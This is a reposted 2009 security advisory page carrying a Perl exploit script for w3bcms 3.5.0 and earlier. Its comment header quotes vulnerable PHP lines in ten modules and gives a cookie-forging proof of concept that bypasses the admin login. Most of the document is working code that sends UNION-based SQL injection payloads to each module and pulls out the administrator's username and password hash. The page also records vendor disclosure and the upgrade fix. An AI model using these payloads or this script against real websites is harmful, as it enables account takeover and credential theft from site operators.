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w3bcms 3.5.0 SQL Injection

🗓️ 09 Feb 2009 00:00:00Reported by DNXType 
packetstorm
 packetstorm🔗 packetstormsecurity.com👁 35 Views

w3bcms 3.5.0 SQL Injection and Insecure Cookie Handling

Code
`#!/usr/bin/perl  
use LWP::UserAgent;  
use HTTP::Request::Common qw(POST);  
use Getopt::Long;  
  
# \#'#/  
# (-.-)  
# -------------------oOO---(_)---OOo------------------  
# | __ __ |  
# | _____/ /_____ ______/ /_ __ ______ ______ |  
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |  
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |  
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |  
# | Security Research Division /____/ 2oo9 |  
# ----------------------------------------------------  
# | w3bcms <= v3.5.0 Multiple Remote Vulnerabilities |  
# | (requires magic_quotes_gpc = Off) |  
# ----------------------------------------------------  
# [!] Discovered.: DNX  
# [!] Vendor.....: http://www.w3bcms.de  
# [!] Detected...: 11.01.2009  
# [!] Reported...: 17.01.2009  
# [!] Response...: 19.01.2009  
#  
# [!] Background.: CMS features in the frontend:  
# » Ausgabe angelegter Seiten  
# » Integrierter sicherer Spamschutz (kein Captcha!)  
# » CMS Features wie Slogan Rotation, Datumausgabe, Seitenanzeige  
# » Integrierter Besuchercounter (versteckt/sichtbar)  
# <b>» Sicherheit gegen Hackangriffe</b>  
# » Schnelle Datenbankabfragen  
# » 100% Suchmaschinenoptimiert (SEO)  
# » Erweiterbar durch Module & Addons  
# » Unterstützt Mod Rewrite URL's (optional)  
#  
#  
# [!] Info.......: Insecure Cookie Handling in Admin Backend Login  
# [!] Bug........: $_COOKIE["cms_admin"] in admin/index.php near line 67  
#  
# 67: if ($_COOKIE["cms_admin"] != "") {  
# 68:   
# 69: $admin = mysql_fetch_assoc(mysql_query("SELECT * FROM admin WHERE cookie='".$_COOKIE["cms_admin"]."'"));  
# 70:   
# 71: if ($admin['benutzername'] != "") {  
# 72:   
# 73: $_SESSION['login'] = true;  
# 74: header("Location: inc/index.php?seite=uebersicht");  
# 75: exit;  
# 76:   
# 77: }  
# 78:   
# 79: }  
#  
# [!] PoC........: javascript:document.cookie = "cms_admin=' or '1'='1; path=/";  
#  
#  
# [!] Info.......: Downloads module v1.5.0  
# [!] Bug........: $_GET['id'] in includes/module/downloads/index.inc.php near line 15  
#  
# 15: if (isset($_GET['action']) && $_GET['action'] == "klick") {  
# 16:   
# 17: $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_downloads WHERE id='".$_GET['id']."'"));  
# 18: mysql_query("UPDATE modul_downloads SET klicks=klicks+1 WHERE id='".$_GET['id']."'");  
# 19: $url = preg_replace('(%PAGE_DIR%)', $settings['page_dir'], $data['url']);  
# 20: header("Location: ".$url."");  
# 21: exit;  
# 22:   
# 23: }  
#  
#  
# [!] Info.......: News module v1.5.0  
# [!] Bug........: $_GET['action'] in includes/module/news/index.inc.php near line 131  
#  
# 131: $kcheck = eregi ("kommentar", $_GET['action']);  
#  
# 135: if ($kcheck == "1") {  
# 136:   
# 137: $str = $_GET['action'];  
# 138: $explode = explode(".",$str);  
# 139:   
# 140: $ausgabe = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_news WHERE id='".$explode[0]."' AND status='0'"));  
#  
#  
# [!] Info.......: Portfolio module v2.0.0  
# [!] Bug........: $_GET['action'] in includes/module/portfolio/index.inc.php near line 75  
#  
# 75: $kcheck = eregi ("show", $_GET['action']);  
# 76:   
# 77: if ($kcheck == "1") {  
# 78:   
# 79: $str = $_GET['action'];  
# 80: $explode = explode(".",$str);  
# 81:   
# 82: $ausgabe = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_portfolio WHERE id='".$explode[0]."'"));  
#  
#  
# [!] Info.......: Partner module v1.5.0  
# [!] Bug........: $_GET['id'] in includes/module/partner/index.inc.php near line 15  
#  
# 15: if (isset($_GET['action']) && $_GET['action'] == "klick") {  
# 16:   
# 17: $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_partner WHERE id='".$_GET['id']."'"));  
# 18: mysql_query("UPDATE modul_partner SET klicks=klicks+1 WHERE id='".$_GET['id']."'");  
# 19:   
# 20: header("Location: ".$data['url']."");  
# 21: exit;  
# 22:   
# 23: }  
#  
#  
# [!] Info.......: Mediathek module v1.5.0  
# [!] Bug........: $_GET['id'] in includes/module/mediathek/index.inc.php near line 15  
#  
# 15: if (isset($_GET['action']) && $_GET['action'] == "klick") {  
# 16:   
# 17: $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_mediathek WHERE id='".$_GET['id']."'"));  
# 18: mysql_query("UPDATE modul_mediathek SET klicks=klicks+1 WHERE id='".$_GET['id']."'");  
# 19:   
# 20: $mediafile = $settings['page_dir']."/includes/media/".$data['mediafile'];  
# 21:  
# 22: header("Location: ".$mediafile."");  
# 23: exit;  
# 24:  
# 25: }  
#  
#  
# [!] Info.......: Sitemap module v1.5.0  
# [!] Bug........: $_GET['seite'] in includes/module/sitemap/index.inc.php near line 15  
#  
# 15: $explode = explode(".",$_GET['seite']);  
#  
# 19: $menu = mysql_query("SELECT * FROM pages WHERE submenu='0' AND aktiv='0' AND hidden='0' AND id!='".$explode['0']."' ORDER by sortierung");  
#  
#  
# [!] Info.......: Links module v1.5.0  
# [!] Bug........: $_GET['id'] in includes/module/links/index.inc.php near line 15  
#  
# 15: if (isset($_GET['action']) && $_GET['action'] == "klick") {  
# 16:   
# 17: $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_links WHERE id='".$_GET['id']."'"));  
# 18: mysql_query("UPDATE modul_links SET klicks=klicks+1 WHERE id='".$_GET['id']."'");  
# 19: header("Location: ".$data['url']."");  
# 20: exit;  
# 21:   
# 22: }  
#  
#  
# [!] Info.......: Blog module v1.5.0  
# [!] Bug........: $_GET['action'] in includes/module/blog/index.inc.php near line 133  
#  
# 131: $kcheck = eregi ("kommentar", $_GET['action']);  
#  
# 135: if ($kcheck == "1") {  
# 136:   
# 137: $str = $_GET['action'];  
# 138: $explode = explode(".",$str);  
# 139:   
# 140: $ausgabe = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_blog WHERE id='".$explode[0]."' AND status='0'"));  
#  
#  
# [!] Info.......: Suche module v1.5.0  
# [!] Bug........: $_POST['suchbegriff'] in includes/module/suche/index.inc.php near line 66  
#  
# 66: $eingabe = trim(strip_tags($_POST['suchbegriff']));  
# 67: $eingabe_array = explode(" ", $eingabe);  
# 68: $eingabe_array = array_unique($eingabe_array);  
# 69:   
# 70: if ($eingabe == "" || $_POST['suchbegriff'] == "Suchbegriff(e) ..."){  
# 71:   
# 72: echo "<p>Fehler - Bitte <b>mindestens ein Suchbegriff</b> eingegeben!</p>";  
# 73:   
# 74: } else {  
#   
# 78: $query_pages = "SELECT id, titel, inhalt, page FROM pages WHERE ";  
# 79:   
# 80: for ($i=0; $i<count($eingabe_array); $i++) {  
# 81:   
# 82: $query_pages .= "((titel LIKE '%" . $eingabe_array[$i] . "%') OR (inhalt LIKE '%" . $eingabe_array[$i] . "%'))";  
# 83:   
# 84: if ($i<count($eingabe_array)-1){  
# 85:   
# 86: $query_pages .= " AND ";  
# 87:   
# 88: }  
# 89:   
# 90: $query_pages .= "AND type!='modul' AND type!='extern' AND inhalt!='' AND aktiv='0'";  
# 91:   
# 92: }  
# 93:   
# 94: $num_rows_pages = @mysql_num_rows(mysql_query($query_pages));  
# 95: $result_pages = @mysql_query($query_pages);  
#  
#  
# [!] Info.......: Gallery module v1.5.0  
# [!] Bug........: $_GET['action'] in includes/module/gallery/index.inc.php near line 314  
#  
# 314: } else if ($locate == "1" && isset($_GET['action']) && isset($_GET['id']) && $_GET['id'] != "") {  
#   
# 320: $explode = explode(".",$_GET['action']);  
#   
# 324: $album = mysql_query("SELECT * FROM modul_gallery WHERE album_id='".$explode[0]."' ORDER by id ".$sqlorder." LIMIT $zeige,$trefferproseite");  
#  
#  
# [!] Solution...: Upgrade to v3.5.1 or higher and update all modules  
#  
  
if(!$ARGV[2])  
{  
print "\n \\#'#/ ";  
print "\n (-.-) ";  
print "\n ------------------oOO---(_)---OOo-------------------";  
print "\n | w3bcms <= v3.5.0 Multiple Remote Vulnerabilities |";  
print "\n | coded by DNX |";  
print "\n ----------------------------------------------------";  
print "\n[!] Usage: perl w3blabor.pl [Target] <Options>";  
print "\n[!] Example: perl w3blabor.pl -1 -u \"http://127.0.0.1/w3b/index.php?seite=2.down&action=klick&id=1\"";  
print "\n[!] Targets:";  
print "\n -1 Exploit over Downloads module v1.5.0";  
print "\n -2 Exploit over News module v1.5.0";  
print "\n -3 Exploit over Portfolio module v2.0.0";  
print "\n -4 Exploit over Partner module v1.5.0";  
print "\n -5 Exploit over Mediathek module v1.5.0";  
print "\n -6 Exploit over Sitemap module v1.5.0";  
print "\n -7 Exploit over Links module v1.5.0";  
print "\n -8 Exploit over Blog module v1.5.0";  
print "\n -9 Exploit over Suche module v1.5.0";  
print "\n -10 Exploit over Gallery module v1.5.0";  
print "\n[!] Options:";  
print "\n -u [url] URL to vuln website";  
print "\n -p [ip:port] Proxy support";  
print "\n";  
exit;  
}  
  
my $ua = LWP::UserAgent->new();  
my $response = "";  
my %options = ();  
GetOptions(\%options, "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "u=s", "p=s");  
  
if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); }  
  
if($options{"1"}) { use_download_bug(); }  
elsif($options{"2"}) { use_news_bug(); }  
elsif($options{"3"}) { use_portfolio_bug(); }  
elsif($options{"4"}) { use_partner_bug(); }  
elsif($options{"5"}) { use_mediathek_bug(); }  
elsif($options{"6"}) { use_sitemap_bug(); }  
elsif($options{"7"}) { use_links_bug(); }  
elsif($options{"8"}) { use_blog_bug(); }  
elsif($options{"9"}) { use_suche_bug(); }  
elsif($options{"10"}) { use_gallery_bug(); }  
  
sub use_download_bug  
{  
my $url_user = $options{"u"};  
my $url_pass = $options{"u"};  
my $exploit_user = "id='%20union%20select 1,2,benutzername,4,5%20from%20admin%20limit%201/*";  
my $exploit_pass = "id='%20union%20select 1,2,passwort,4,5%20from%20admin%20limit%201/*";  
  
$url_user =~ s/id=\d+/$exploit_user/i;  
$response = $ua->get($url_user);  
$response->base =~ /.*\/(.*?)$/;  
my $user = $1;  
  
$url_pass =~ s/id=\d+/$exploit_pass/i;  
$response = $ua->get($url_pass);  
$response->base =~ /.*\/(.*?)$/;  
my $pass = $1;   
  
print $user.":".$pass;  
}  
  
sub use_news_bug  
{  
my $url = $options{"u"};  
my $exploit = "action='%20union%20select%201,2,3,4,benutzername,6,passwort%20from%20admin%20limit%201/*";  
$url =~ s/action=\d+/$exploit/i;  
$response = $ua->get($url);  
if($response->content =~ /<p class="titel">(.*?)<\/p>.*([a-fA-F0-9]{32})<\/div>/s)  
{  
print $1.":".$2;  
}  
}  
  
sub use_portfolio_bug  
{  
my $url = $options{"u"};  
my $exploit = "action='%20union%20select%201,2,passwort,benutzername,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin%20limit 1/*";  
$url =~ s/action=\d+/$exploit/i;  
$response = $ua->get($url);  
if($response->content =~ /<h1>([a-fA-F0-9]{32})<\/h1>.*?<p align="justify">(.*?)<\/p>/s)  
{  
print $2.":".$1;  
}  
}  
  
sub use_partner_bug  
{  
my $url_user = $options{"u"};  
my $url_pass = $options{"u"};  
my $exploit_user = "id='%20union%20select 1,2,benutzername,4,5%20from%20admin%20limit%201/*";  
my $exploit_pass = "id='%20union%20select 1,2,passwort,4,5%20from%20admin%20limit%201/*";  
  
$url_user =~ s/id=\d+/$exploit_user/i;  
$response = $ua->get($url_user);  
$response->base =~ /.*\/(.*?)$/;  
my $user = $1;  
  
$url_pass =~ s/id=\d+/$exploit_pass/i;  
$response = $ua->get($url_pass);  
$response->base =~ /.*\/(.*?)$/;  
my $pass = $1;   
  
print $user.":".$pass;  
}  
  
sub use_mediathek_bug  
{  
my $url_user = $options{"u"};  
my $url_pass = $options{"u"};  
my $exploit_user = "id='%20union%20select 1,2,benutzername,4%20from%20admin%20limit%201/*";  
my $exploit_pass = "id='%20union%20select 1,2,passwort,4%20from%20admin%20limit%201/*";  
  
$url_user =~ s/id=\d+/$exploit_user/i;  
$response = $ua->get($url_user);  
$response->base =~ /.*\/(.*?)$/;  
my $user = $1;  
  
$url_pass =~ s/id=\d+/$exploit_pass/i;  
$response = $ua->get($url_pass);  
$response->base =~ /.*\/(.*?)$/;  
my $pass = $1;   
  
print $user.":".$pass;  
}  
  
sub use_sitemap_bug  
{  
my $url = $options{"u"};  
$url =~ /seite=(\d+)\./;  
my $id = $1;  
my $exploit = "seite=".$id."'%20union%20select%201,benutzername,passwort,4,5,6,7,8,9,10,11,12,13,14,15%20from%20admin%20/*";  
$url =~ s/seite=\d+/$exploit/i;  
$response = $ua->get($url);  
if($response->content =~ /<strong>$id\.<\/strong>.*?<a href="index\.php\?seite=1\.(.*?)" title="(.*?)"/s)  
{  
print $1.":".$2;  
}  
}  
  
sub use_links_bug  
{  
my $url_user = $options{"u"};  
my $url_pass = $options{"u"};  
my $exploit_user = "id='%20union%20select 1,2,benutzername,4,5%20from%20admin%20limit%201/*";  
my $exploit_pass = "id='%20union%20select 1,2,passwort,4,5%20from%20admin%20limit%201/*";  
  
$url_user =~ s/id=\d+/$exploit_user/i;  
$response = $ua->get($url_user);  
$response->base =~ /.*\/(.*?)$/;  
my $user = $1;  
  
$url_pass =~ s/id=\d+/$exploit_pass/i;  
$response = $ua->get($url_pass);  
$response->base =~ /.*\/(.*?)$/;  
my $pass = $1;   
  
print $user.":".$pass;  
}  
  
sub use_blog_bug  
{  
my $url = $options{"u"};  
my $exploit = "action='%20union%20select%201,2,3,4,benutzername,6,passwort%20from%20admin%20limit%201/*";  
$url =~ s/action=\d+/$exploit/i;  
$response = $ua->get($url);  
if($response->content =~ /<p class="titel">(.*?)<\/p>.*([a-fA-F0-9]{32})<\/div>/s)  
{  
print $1.":".$2;  
}  
}  
  
sub use_suche_bug  
{  
my $url = $options{"u"}."&action=senden";  
my $search = "###___###%'))/**/union/**/select/**/1,benutzername,passwort,4/**/from/**/admin/*";  
my $req = POST $url, [suchbegriff => $search];  
my $response = $ua->request($req);  
  
if($response->content =~ /.*">(.*?)<\/a><br \/>([a-fA-F0-9]{32}) \[/s)  
{  
print $1.":".$2;  
}  
}  
  
sub use_gallery_bug  
{  
my $url = $options{"u"};  
my $exploit = "action='%20union%20select%201,2,passwort,4,benutzername,6%20from%20admin/*";  
$url =~ s/action=\d+/$exploit/i;  
$response = $ua->get($url);  
my @content = split(/\n/, $response->content);  
foreach (@content)  
{  
if($_ =~ /\/([a-fA-F0-9]{32})" rel="lytebox\[.*?\]" title="(.*?)"/)  
{  
print $2.":".$1."\n";  
}  
}  
}  
  
  
`

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09 Feb 2009 00:00Current
0.1Low risk
Vulners AI Score0.1
w3bcmssql injectioninsecure cookie handlingremote vulnerabilitiessecurity research divisioncms featuresspamschutzslogan rotationdatumausgabesicherheit gegen hackangriffemod rewrite url'sinsecure cookie handlingdownloads modulenews moduleportfolio modulepartner modulemediathek module
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